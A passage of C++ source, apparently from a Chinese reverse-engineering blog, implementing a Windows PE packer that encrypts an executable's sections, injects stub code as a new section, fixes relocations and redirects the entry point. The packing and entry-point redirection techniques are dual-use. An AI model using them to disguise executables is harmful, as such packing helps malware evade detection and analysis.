		pDllRelocation = (PIMAGE_BASE_RELOCATION)((DWORD)pDllRelocation + pDllRelocation->SizeOfBlock);
	}
	return TRUE;
}

/*
	@function 获取导入表
*/
BOOL CPeUtil::GetImportTable()
{
	DWORD tableLen = 0; // 用来计算导入表的大小
	IMAGE_DATA_DIRECTORY dataDict = this->m_pOptionalHeader->DataDirectory[1];
	PIMAGE_IMPORT_DESCRIPTOR pImportTable 
		// 这个时候还是在硬盘中的状态所以需要把RVA转为FOA
		= (PIMAGE_IMPORT_DESCRIPTOR)(RvaToFoa(dataDict.VirtualAddress) + this->m_fileBuff);
	while (pImportTable->Name != NULL) {
		tableLen++;
		pImportTable++;
	}
	if (tableLen == 0) return FALSE; // 没有导入表
	tableLen++; // 最后要有0表示导入表的结束
	this->m_importTableSize = tableLen * sizeof(IMAGE_IMPORT_DESCRIPTOR);
	this->m_pNewImportTabe = new IMAGE_IMPORT_DESCRIPTOR[tableLen]{0};
	// 重新获取一下起始位置
	pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)(RvaToFoa(dataDict.VirtualAddress) + this->m_fileBuff);
	// 然后我们进行拷贝 最后-1就好了,因为我们初始化就为0了
	memcpy(this->m_pNewImportTabe, pImportTable, ((tableLen - 1) * sizeof(IMAGE_IMPORT_DESCRIPTOR)));
	return TRUE;
}
/*
	@function RVA转FOA
	@param rva 要转换的rva
	@return 返回FOA
*/
DWORD CPeUtil::RvaToFoa(DWORD rva)
{
	PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(this->m_pNtHeader);
	for (int i = 0; i < this->m_pFileHeader->NumberOfSections; i++) {
		if (rva >= pSectionHeader->VirtualAddress && 
			rva < (pSectionHeader->VirtualAddress + pSectionHeader->Misc.VirtualSize)) {
			// 如果在当前区段里面
			// rva - 区段的rva = foa - 区段的foa
			// foa = rva - 区段的rva + 区段的foa
			return rva - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData;
		}
		pSectionHeader++;
	}
	return 0;
}
/*
	@function Foa转Rva
	@param 要转换的foa
	@return 返回转换之后的rva
*/
DWORD CPeUtil::FoaToRva(DWORD foa)
{
	PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(this->m_pNtHeader);
	for (int i = 0; i < this->m_pFileHeader->NumberOfSections; i++) {
		if (foa >= pSectionHeader->PointerToRawData &&
			foa < (pSectionHeader->PointerToRawData + pSectionHeader->SizeOfRawData)) {
			// foa - 区段的foa = rva - 区段的rva
			// rva = foa - 区段的foa + 区段的rva
			return foa - pSectionHeader->PointerToRawData + pSectionHeader->VirtualAddress;
		}
		pSectionHeader++;
	}
	return 0;
}

#include 
#include 
#include "CPeUtil.h"

typedef struct _PACKINFO {
	DWORD newOEP;
	DWORD oldOEP;
}PACKINFO, * PPACKINFO;

int main() {
	CPeUtil peUtil;
	peUtil.LoadFile("FateMouse.exe");
	peUtil.EncodeSections(); // 对壳程序进行加密
	HMODULE hModule = LoadLibraryA("ack.dll"); // 加载我们的壳代码
	PPACKINFO pPackInfo = (PPACKINFO)GetProcAddress(hModule, "g_PackInfo");
	pPackInfo->oldOEP = peUtil.GetJmpOldVA();
	// 获取第一个区段 我们把代码段和数据段都合并在一起了
	PIMAGE_DOS_HEADER dllDosHeader = (PIMAGE_DOS_HEADER)hModule;
	PIMAGE_NT_HEADERS dllNtHeader = (PIMAGE_NT_HEADERS)(dllDosHeader->e_lfanew + (DWORD)hModule);
	PIMAGE_SECTION_HEADER dllSectionHeader = IMAGE_FIRST_SECTION(dllNtHeader);
	CHAR* sectionBuff = (CHAR*)(dllSectionHeader->VirtualAddress + (DWORD)hModule);
	peUtil.GetImportTable(); // 要先准备好新的导入表,然后和壳代码一起插入
	peUtil.InsertSection("51hook", dllSectionHeader->Misc.VirtualSize, sectionBuff, 0xE00000E0);
	peUtil.RepairRelco((DWORD)hModule); // 修复重定位表
	DWORD newOepRva = (pPackInfo->newOEP - (DWORD)hModule - dllSectionHeader->VirtualAddress);
	peUtil.SetOep(newOepRva);
	peUtil.SaveFile("pack.exe");
	return 0;
}

你可能感兴趣的:(逆向,安全)